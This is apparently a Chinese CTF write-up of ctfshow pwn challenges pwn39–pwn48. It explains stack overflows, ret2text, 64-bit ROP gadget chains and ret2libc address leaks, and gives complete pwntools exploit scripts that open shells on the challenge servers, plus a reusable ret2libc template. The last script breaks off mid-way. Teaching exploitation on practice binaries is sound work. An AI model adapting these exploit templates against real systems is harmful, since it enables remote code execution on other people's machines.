PWN——CTFshow
pwn39
一个32位程序
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
main函数的内容如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts(asc_804876C);
puts(asc_80487E0);
puts(asc_804885C);
puts(asc_80488E8);
puts(asc_8048978);
puts(asc_80489FC);
puts(asc_8048A90);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : It has system and '/bin/sh',but they don't work together");
puts(" * ************************************* ");
puts("Just easy ret2text&&32bit");
ctfshow(&argc);
puts("\nExit");
return 0;
}
Hint表示system 和 ‘/bin/sh’并不同时起效
但是这里和之前(pwn37、pwn38)不一样:
在标准输出上输出路径 ‘/bin/sh’;
调用 system()函数,该函数用于执行系统命令,但这里只是输出提示信息 ‘You find me?’。
而前面我们遇到的直接获取 shell 的是:system(“/bin/sh”)
根据题目描述:32位的 system(); “/bin/sh”
system() 与 “/bin/sh” 在程序中都存在,但这里将系统函数与参数分开了,我们需要手动构造。
再回到对于栈溢出的判断
有明说是ret2text
去text段翻找
没找到什么有效内容
看到函数栏的system函数
直接反照看到system函数的位置
即:0x080483A0
又倒回去找能栈溢出的原因
ssize_t ctfshow()
{
_BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);
在ctfshow这个函数中,存在这么个栈溢出的漏洞
漏洞产生的原因在于
这里声明了一个长度为 14 的字符数组 buf,数组大小为14字节,用来存储用户输入的数据,调用 read() 函数,从文件描述符(在这里是标准输入,文件描述符0)读取数据。read()函数的第一个参数是文件描述符,第二个参数是用来接收数据的缓冲区,第三个参数是要读取的字节数。
read() 函数试图从标准输入读取最多 0x32(十进制为50)个字节的数据到 buf 数组中,然后返回实际读取的字节数。但是,由于 buf 数组的大小只有 14 字节,这就可能导致溢出。
好了,那么对于这里需要进行填充的字符数就该是
0x12+程序中栈底的大小
因为这是个32位的程序
所以buf到栈底的位置还要再加4
所以要填充的字节数就是:
0x12+4
那么payload的一角就明晰了
结合上面的分析
可以得到
payload的构成大致是
填充字节+调用system函数+加写入/bin/sh字段
system函数的位置已知
去找/bin/sh
发现目标内容
至此,所有必备要素全部集齐
exp:
from pwn import *
sh=remote('pwn.challenge.ctf.show', 28178)
payload = b'a'*(0x12+4) + p32(0x80483A0) + p32(0x8048750)
sh.sendline(payload)
sh.interactive()
发现并不能直接打通
说明仍然存在问题
实际上
payload 格式:
payload = b’a’*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)
首先在溢出后填入 system 函数的地址,这个地址将覆盖程序返回地址,以便控制程序流程。 此外我们需要考虑函数调用栈的结构:system函数的第一个参数通常是一个指向要执行的命令的字符串,如 /bin/sh,需要将这个字符串的地址作为参数传递给 system 函数,system 函数的第二个参数通常是一个指向空值的指针,表示没有额外的参数。在 payload 中,可以使用任意值,比如 0 ,使用 p32() 函数将地址转换为4字节的字符串,也可以用其他任意 4 字节字符,如 ‘aaaa’,最后再加上 bin/sh 的地址,我们就能够利用缓冲区溢出漏洞成功调用 system(“/bin/sh”),从而获取到所需的 shell。
payload 详细解释:
b’a’ * (0x12 + 4):这部分是填充,填充的目的是使得输入的长度超过了原本的缓冲区大小,触发缓冲区溢出。 p32(system):这部分是 system 函数的地址,在利用缓冲区溢出漏洞时,重要的一步是覆盖返回地址,使得程序返回时跳转到 system 函数。 p32(0):这部分是 system 函数的第二个参数,在大多数情况下,system 函数的第二个参数应该是一个指向空值的指针,表示没有额外的参数,这里使用了0,表示一个空指针。 p32(bin_sh):这部分是 /bin/sh 字符串的地址,作为 system 函数的第一个参数,/bin/sh 是一个用于启动 shell 的路径,在利用缓冲区溢出漏洞时,我们可以使用这个参数来告诉 system 函数要执行的命令。
所以
payload修改后即为正确的exp
即:
from pwn import *
sh=remote('pwn.challenge.ctf.show', 28178)
payload = b'a'*(0x12+4) + p32(0x80483A0) + p32(0) + p32(0x8048750)
sh.sendline(payload)
sh.interactive()
拿到flag
pwn40
from pwn import *
io=remote("pwn.challenge.ctf.show",28267)
payload = b'a'*(0xA+8) + p64(0x4007e3) + p64(0x400808) + p64(0x4004fe) + p64(0x400520)
io.sendline(payload)
io.interactive()
pwn41
已知32位
就不开checksec
main函数反编译一遍看到
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
logo(&argc);
ctfshow();
puts("\nExit");
return 0;
}
调用ctfshow函数
看该函数
拿到buf到栈底的长度
ssize_t ctfshow()
{
_BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);
}
即:0x12+4
溢出字节数get
现在就要找到常规的提权函数
找不到关键的bin/sh
32位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代\
实际上,_system+”sh”在环境变量配置正确的时候和 _system+”/bin/sh”是等价的
而刚好能在其中找到sh字眼
就在useful函数中能看到sh
那么只需要确认“sh”的位置即可
双击useful函数中的“sh”直接就跳转了
拿到“sh”的位置
080487BA
再找到个_system函数地址就好
而hint函数中,就调用了system函数
那么直接用这个里的system就可以提权成功
exp:
from pwn import *
sh=remote("pwn.challenge.ctf.show",28129)
system=0x080483D0 #483D0是plt表里的system,如果换用text段的system就不需要再发送'aaaa'
bin=0x080487BA
payload=b'a'*(0x12+4)+p32(system)+b'aaaa'+p32(bin)
sh.sendline(payload)
sh.interactive()
pwn42
64位
和上面类似的操作
main函数查到buf到栈底的位置
0xA+8
找到sh位置
0400872
找到system函数位置
0400560
由于是64位程序
所以又出现pwn40的一个考点
64位的传参和32位不同
64位会先传入寄存器,共八个
而传完才会传入栈中
所以需要先拿到第一个参数寄存器rdi的位置
由于需要将字符”sh”返回给调用函数
所以还需要找到ret指令的位置
所以使用ROPgadget
通过指令
ROPgadget --binary pwn42
拿到响应
0x00000000004005c9 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x0000000000400597 : add al, 0 ; add byte ptr [rax], al ; jmp 0x400540
0x0000000000400577 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x400540
0x0000000000400e6f : add al, dl ; idiv bh ; jmp qword ptr [rax]
0x0000000000400eb7 : add bh, ch ; idiv edi ; call qword ptr [rdi]
0x0000000000400e97 : add bh, ch ; idiv edi ; jmp qword ptr [rax]
0x00000000004005cf : add bl, dh ; ret
0x0000000000400ef3 : add byte ptr [rax - 0x22000000], bh ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400e6d : add byte ptr [rax], al ; add al, dl ; idiv bh ; jmp qword ptr [rax]
0x0000000000400eb5 : add byte ptr [rax], al ; add bh, ch ; idiv edi ; call qword ptr [rdi]
0x0000000000400e95 : add byte ptr [rax], al ; add bh, ch ; idiv edi ; jmp qword ptr [rax]
0x000000000040084d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040084b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400557 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x400540
0x00000000004006b8 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040067c : add byte ptr [rax], al ; add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400610
0x000000000040084c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040067d : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400610
0x0000000000400ef5 : add byte ptr [rax], al ; add dh, bl ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400559 : add byte ptr [rax], al ; jmp 0x400540
0x0000000000400eb2 : add byte ptr [rax], al ; js 0x400eb6 ; add byte ptr [rax], al ; out dx, eax ; idiv edi ; call qword ptr [rdi]
0x0000000000400ef2 : add byte ptr [rax], al ; mov eax, 0xde000000 ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400eb6 : add byte ptr [rax], al ; out dx, eax ; idiv edi ; call qword ptr [rdi]
0x0000000000400e96 : add byte ptr [rax], al ; out dx, eax ; idiv edi ; jmp qword ptr [rax]
0x0000000000400e92 : add byte ptr [rax], al ; pop rax ; add byte ptr [rax], al ; add bh, ch ; idiv edi ; jmp qword ptr [rax]
0x0000000000400606 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040067e : add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400610
0x00000000004005ce : add byte ptr [rax], al ; ret
0x0000000000400eb3 : add byte ptr [rax], bh ; add byte ptr [rax], al ; out dx, eax ; idiv edi ; call qword ptr [rdi]
0x0000000000400e93 : add byte ptr [rax], bl ; add byte ptr [rax], al ; out dx, eax ; idiv edi ; jmp qword ptr [rax]
0x0000000000400e6b : add byte ptr [rax], dh ; add byte ptr [rax], al ; add al, dl ; idiv bh ; jmp qword ptr [rax]
0x0000000000400605 : add byte ptr [rax], r8b ; pop rbp ; ret
0x00000000004005cd : add byte ptr [rax], r8b ; ret
0x000000000040067f : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400610
0x0000000000400667 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400ef7 : add dh, bl ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400567 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x400540
0x0000000000400668 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x0000000000400587 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x400540
0x000000000040053b : add esp, 8 ; ret
0x000000000040053a : add rsp, 8 ; ret
0x00000000004005fe : and byte ptr [rax], ah ; jmp rax
0x00000000004005c8 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000400554 : and byte ptr [rax], al ; push 0 ; jmp 0x400540
0x0000000000400564 : and byte ptr [rax], al ; push 1 ; jmp 0x400540
0x0000000000400574 : and byte ptr [rax], al ; push 2 ; jmp 0x400540
0x0000000000400584 : and byte ptr [rax], al ; push 3 ; jmp 0x400540
0x0000000000400594 : and byte ptr [rax], al ; push 4 ; jmp 0x400540
0x0000000000400531 : and byte ptr [rax], al ; test rax, rax ; je 0x40053a ; call rax
0x00000000004006d2 : call qword ptr [rax + 0x4855c35d]
0x0000000000400291 : call qword ptr [rax - 0x4b6cb9fd]
0x0000000000400ebb : call qword ptr [rdi]
0x0000000000400538 : call rax
0x00000000004006a4 : dec ecx ; ret
0x000000000040082c : fmul qword ptr [rax - 0x7d] ; ret
0x00000000004005ca : hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000400e71 : idiv bh ; jmp qword ptr [rax]
0x0000000000400eb9 : idiv edi ; call qword ptr [rdi]
0x0000000000400e99 : idiv edi ; jmp qword ptr [rax]
0x0000000000400ef9 : idiv edi ; jmp qword ptr [rbx]
0x0000000000400683 : in eax, 0x5d ; jmp 0x400610
0x0000000000400c9c : in eax, 0x85 ; movsd dword ptr [rdi], dword ptr [rsi] ; jmp 0x2060b53b
0x0000000000400536 : je 0x40053a ; call rax
0x00000000004005f9 : je 0x400608 ; pop rbp ; mov edi, 0x602050 ; jmp rax
0x000000000040063b : je 0x400648 ; pop rbp ; mov edi, 0x602050 ; jmp rax
0x000000000040028f : jle 0x400214 ; call qword ptr [rax - 0x4b6cb9fd]
0x0000000000400c9f : jmp 0x2060b53b
0x000000000040055b : jmp 0x400540
0x0000000000400685 : jmp 0x400610
0x0000000000400dd3 : jmp qword ptr [rax - 0x2d000000]
0x0000000000400e9b : jmp qword ptr [rax]
0x0000000000400f3b : jmp qword ptr [rbp]
0x0000000000400efb : jmp qword ptr [rbx]
0x0000000000400f1b : jmp qword ptr [rdi]
0x0000000000400601 : jmp rax
0x0000000000400eb4 : js 0x400eb6 ; add byte ptr [rax], al ; out dx, eax ; idiv edi ; call qword ptr [rdi]
0x00000000004006a5 : leave ; ret
0x0000000000400662 : mov byte ptr [rip + 0x2019ff], 1 ; pop rbp ; ret
0x0000000000400572 : mov dl, 0x1a ; and byte ptr [rax], al ; push 2 ; jmp 0x400540
0x00000000004006b7 : mov eax, 0 ; pop rbp ; ret
0x0000000000400ef4 : mov eax, 0xde000000 ; idiv edi ; jmp qword ptr [rbx]
0x0000000000400682 : mov ebp, esp ; pop rbp ; jmp 0x400610
0x00000000004005fc : mov edi, 0x602050 ; jmp rax
0x0000000000400562 : mov edx, 0x6800201a ; add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x400540
0x0000000000400681 : mov rbp, rsp ; pop rbp ; jmp 0x400610
0x0000000000400592 : movabs byte ptr [0x46800201a], al ; jmp 0x400540
0x0000000000400c9e : movsd dword ptr [rdi], dword ptr [rsi] ; jmp 0x2060b53b
0x00000000004006d3 : nop ; pop rbp ; ret
0x0000000000400603 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x00000000004005cb : nop dword ptr [rax + rax] ; ret
0x0000000000400645 : nop dword ptr [rax] ; pop rbp ; ret
0x000000000040063c : or ebx, dword ptr [rbp - 0x41] ; push rax ; and byte ptr [rax], ah ; jmp rax
0x0000000000400eb8 : out dx, eax ; idiv edi ; call qword ptr [rdi]
0x0000000000400e98 : out dx, eax ; idiv edi ; jmp qword ptr [rax]
0x000000000040083c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400840 : pop r14 ; pop r15 ; ret
0x0000000000400842 : pop r15 ; ret
0x0000000000400e94 : pop rax ; add byte ptr [rax], al ; add bh, ch ; idiv edi ; jmp qword ptr [rax]
0x0000000000400684 : pop rbp ; jmp 0x400610
0x00000000004005fb : pop rbp ; mov edi, 0x602050 ; jmp rax
0x000000000040083b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400608 : pop rbp ; ret
0x0000000000400843 : pop rdi ; ret
0x0000000000400841 : pop rsi ; pop r15 ; ret
0x000000000040083d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400556 : push 0 ; jmp 0x400540
0x0000000000400566 : push 1 ; jmp 0x400540
0x0000000000400576 : push 2 ; jmp 0x400540
0x0000000000400586 : push 3 ; jmp 0x400540
0x0000000000400596 : push 4 ; jmp 0x400540
0x00000000004005fd : push rax ; and byte ptr [rax], ah ; jmp rax
0x0000000000400680 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400610
0x000000000040053e : ret
0x0000000000400542 : ret 0x201a
0x00000000004005f8 : sal byte ptr [rbp + rcx + 0x5d], 0xbf ; push rax ; and byte ptr [rax], ah ; jmp rax
0x000000000040063a : sal byte ptr [rbx + rcx + 0x5d], 0xbf ; push rax ; and byte ptr [rax], ah ; jmp rax
0x0000000000400535 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000400665 : sbb dword ptr [rax], esp ; add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400c99 : sub eax, 0x85e5202d ; movsd dword ptr [rdi], dword ptr [rsi] ; jmp 0x2060b53b
0x0000000000400c9a : sub eax, 0xa585e520 ; jmp 0x2060b53b
0x0000000000400855 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400854 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040084a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400534 : test eax, eax ; je 0x40053a ; call rax
0x0000000000400533 : test rax, rax ; je 0x40053a ; call rax
0x0000000000400843 : pop rdi ; ret
这里获取到rdi寄存器位置
(rdi寄存器的位置可以换用另外一个指令来获取位置)
ROPgadget --binary pwn42 --only "pop|ret"|grep rdi
能更高效的筛出pop_rdi的位置
0x000000000040053e : ret
这里获取到ret指令位置
至此,全部要素集齐
payload格式为:b’a’*(0xA+8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)
exp:
from pwn import *
u=remote("pwn.challenge.ctf.show",28237)
pop_rdi=0x0000000000400843
sh=0x0400872
ret=0x000000000040053e
system=0x0400560
payload=b'a'*(0xA+8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)
u.sendline(payload)
u.interactive()
pwn43
32位
进main函数
发现溢出长度
0x6C+4
进hint函数,找到system
找到system的plt位置
08048450
找不到/bin/sh
只能自己构造
唯一的难点就是这里了
先用pwngdb调试
命令行输入
gdb pwn43
给main函数下断点
break main
然后开run
会拿到这个结果
Breakpoint 1, 0x080487bd in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────
EAX 0xf7faddd8 (environ) —▸ 0xffffd00c —▸ 0xffffd211 ◂— 'CLUTTER_IM_MODULE=xim'
EBX 0x0
ECX 0xffffcf70 ◂— 0x1
EDX 0xffffcf94 ◂— 0x0
EDI 0x0
ESI 0xf7fac000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
EBP 0xffffcf58 ◂— 0x0
ESP 0xffffcf54 —▸ 0xffffcf70 ◂— 0x1
EIP 0x80487bd (main+14) ◂— sub esp, 4
─────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────
► 0x80487bd <main+14> sub esp, 4
↓
0x80487e7 <__x86.get_pc_thunk.ax> mov eax, dword ptr [esp]
0x80487ea <__x86.get_pc_thunk.ax+3> ret
↓
0x80487c5 <main+22> add eax, 0x283b
0x80487ca <main+27> call init <init>
0x80487cf <main+32> call logo <logo>
0x80487d4 <main+37> call ctfshow <ctfshow>
0x80487d9 <main+42> mov eax, 0
0x80487de <main+47> add esp, 4
0x80487e1 <main+50> pop ecx
0x80487e2 <main+51> pop ebp
─────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ esp 0xffffcf54 —▸ 0xffffcf70 ◂— 0x1
01:0004│ ebp 0xffffcf58 ◂— 0x0
02:0008│ 0xffffcf5c —▸ 0xf7decfa1 (__libc_start_main+241) ◂— add esp, 0x10
03:000c│ 0xffffcf60 —▸ 0xf7fac000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
... ↓
05:0014│ 0xffffcf68 ◂— 0x0
06:0018│ 0xffffcf6c —▸ 0xf7decfa1 (__libc_start_main+241) ◂— add esp, 0x10
07:001c│ ecx 0xffffcf70 ◂— 0x1
───────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────
再用vmmap查内存段的权限信息
得到
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/ctfshow/Desktop/xd/pwn43
0x804a000 0x804b000 r--p 1000 1000 /home/ctfshow/Desktop/xd/pwn43
0x804b000 0x804c000 rw-p 1000 2000 /home/ctfshow/Desktop/xd/pwn43
0xf7dd4000 0xf7fa9000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so
0xf7fa9000 0xf7faa000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7faa000 0xf7fac000 r--p 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fac000 0xf7fad000 rw-p 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fad000 0xf7fb0000 rw-p 3000 0
0xf7fcf000 0xf7fd1000 rw-p 2000 0
0xf7fd1000 0xf7fd4000 r--p 3000 0 [vvar]
0xf7fd4000 0xf7fd6000 r-xp 2000 0 [vdso]
0xf7fd6000 0xf7ffc000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r--p 1000 25000 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rw-p 1000 26000 /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rw-p 21000 0 [stack]
-p 标志表示内存区域的权限,它由四个字符组成,每个字符分别代表一个权限:
r:可读(Readable) w:可写(Writable) x:可执行(Executable) s:共享(Shared)
0x804b000 0x804c000 rw-p 1000 2000 /home/ctfshow/Desktop/xd/pwn43
这里就是可以读写的
在这个区间就能找到buf2
这里就可以作为我们构造的/bin/sh的所在
buf2的位置为
0804B060
那么我们就只差个输入函数的位置
实际上,细看ctfshow这个函数
里面有用到一个输入函数
gets函数
找到gets函数的位置
08048420
那么payload的构造就出来了
payload=b’a’*(0x6C+4)+p32(gets)+p32(system)+p32(buf2)+p32(buf2)
payload里的两个buf2分别作为gets函数和system函数的参数
具体原因参考大佬文
关于这个 payload 的详细解释:
在函数调用中,参数会按照一定的顺序压入栈中,然后函数会依次读取这些参数。
b’a’*offset:这部分是填充数据,长度为 offset,目的是为了覆盖函数的返回地址,并确保我们能够控制程序的执行流程。
p32(gets_addr):这是 gets() 函数的地址,我们将覆盖函数返回地址为 gets() 函数的地址,这样在程序返回时会跳转到 gets() 函数执行,我们就可以利用 gets() 函数从输入中获取数据。 p32(system_addr):这是 system() 函数的地址,我们将覆盖 gets() 函数的返回地址为 system() 函数的地址,这样在 gets() 函数执行完毕后,程序会继续执行 system() 函数。
而后面的两个 p32(buf2_addr) 分别作为 gets 函数与 system 函数的参数
第一个参数是用 gets() 函数读取的数据,也就是我们要写的 buf2 的地址(写入后 buf2 的地址也就是 “/bin/sh” 字符串的地址); 第二个参数也是 “/bin/sh” 字符串的地址,因为 system() 函数会使用这个地址作为命令参数
原文链接:https://blog.csdn.net/Myon5/article/details/138167444
所以exp:
from pwn import *
u=remote("pwn.challenge.ctf.show",28166)
gets=0x08048420
system=0x08048450
buf2=0x0804B060
payload=b'a'*(0x6C+4)+p32(gets)+p32(system)+p32(buf2)+p32(buf2)
u.sendline(payload)
u.sendline("/bin/sh")
u.interactive()
pwn44
64位
ctfshow函数中,拿到溢出字符长度
0xA+8
找到gets函数
即输入函数,能手动传入”/bin/sh”的函数
0x00400530
pwngdb调试
得到
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/ctfshow/Desktop/xd/pwn44
0x601000 0x602000 r--p 1000 1000 /home/ctfshow/Desktop/xd/pwn44
0x602000 0x603000 rw-p 1000 2000 /home/ctfshow/Desktop/xd/pwn44
0x7ffff79e2000 0x7ffff7bc9000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7bc9000 0x7ffff7dc9000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dc9000 0x7ffff7dcd000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcd000 0x7ffff7dcf000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcf000 0x7ffff7dd3000 rw-p 4000 0
0x7ffff7dd3000 0x7ffff7dfc000 r-xp 29000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7fd6000 0x7ffff7fd8000 rw-p 2000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 29000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2a000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall
去翻0x602000 0x603000 rw-p 1000 2000 /home/ctfshow/Desktop/xd/pwn44
找到buf2位置
0x00602080
64位程序
所以需要得知ret和rdi的位置
ROPgadget指令
拿到rdi位置
0x00000000004007f3 : pop rdi ; ret
拿到ret位置
0x00000000004004fe : ret
现在就只需要找到system函数即可
在hint函数中拿到
0x00400520
集齐所有要素,exp:
from pwn import *
u=remote("pwn.challenge.ctf.show",28132)
pop_rdi=0x00000000004007f3
ret=0x00000000004004fe
system=0x00400520
gets=0x00400530
buf2=0x00602080
payload=b'a'*(0xA+8)+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(gets)+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(system)
u.sendline(payload)
u.sendline("/bin/sh")
u.interactive()
pwn45
ctfshow的第一道ret2libc
借用夏师傅博客的板子(再从其他佬的博客那补了点注释
from pwn import *
from LibcSearcher import *
io = remote('', )
# io = process("")
elf = ELF('')
# libc= ELF('libc.so.6')
# 加载ELF(可执行和可链接格式)二进制文件到elf对象中,使我们能够轻松访问符号、地址和段
main_add =
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))
offset =
payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
# 接收数据,直到遇到字节\xf7(在32位系统中,很多共享库(如libc)的地址高字节是\xf7)
# 取接收到的数据的最后 4 个字节,因为 puts 函数的地址是 32 位(4 个字节)
# 泄露 puts 函数在 GOT 表中的实际地址
print("Puts_addr: ", hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0x0) + p32(bin_sh_add)
# 0x0作为占位符填充返回地址的后续字节,以确保返回地址被正确覆盖
io.sendlineafter(b'', payload2)
io.interactive()
填写板子
exp:
from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28269)
# io = process("")
elf = ELF('./pwn45')
# libc= ELF('libc.so.6')
main_add =0x0804866D
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))
offset =0x6B
payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'O.o?', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ", hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0x0) + p32(bin_sh_add)
io.sendlineafter(b'', payload2)
io.interactive()
拿到flag
pwn46
from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28253)
# io=process("./pwn")
elf = ELF('./pwn46')
# libc= ELF(elf.libc.path)
ret_add =0x00000000004004fe
pop_rdi =0x0000000000400803
main_add =0x000000000040073E
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=0x70
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'O.o?', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr) # libc6_2.27-0ubuntu2_amd64
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'O.o?', payload2)
io.interactive()
64位,在32位的基础上补rdi补ret改offset改main函数地址就好了
pwn47
根据32位的板子改
改完即为完整exp:
from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28169 )
# io = process("")
elf = ELF('./pwn47')
# libc= ELF('libc.so.6')
main_add =0x080486B9
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))
offset =0x9C
payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'time:', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ", hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'time:', payload2)
io.interactive()
pwn48
同样32位填板子,填完就拿到flag
exp:
from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28214 )
# io = process("")
elf = ELF('./pwn48')
# libc= ELF('libc.so.6')
main_add =0x0804863D
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ", hex(puts_got))
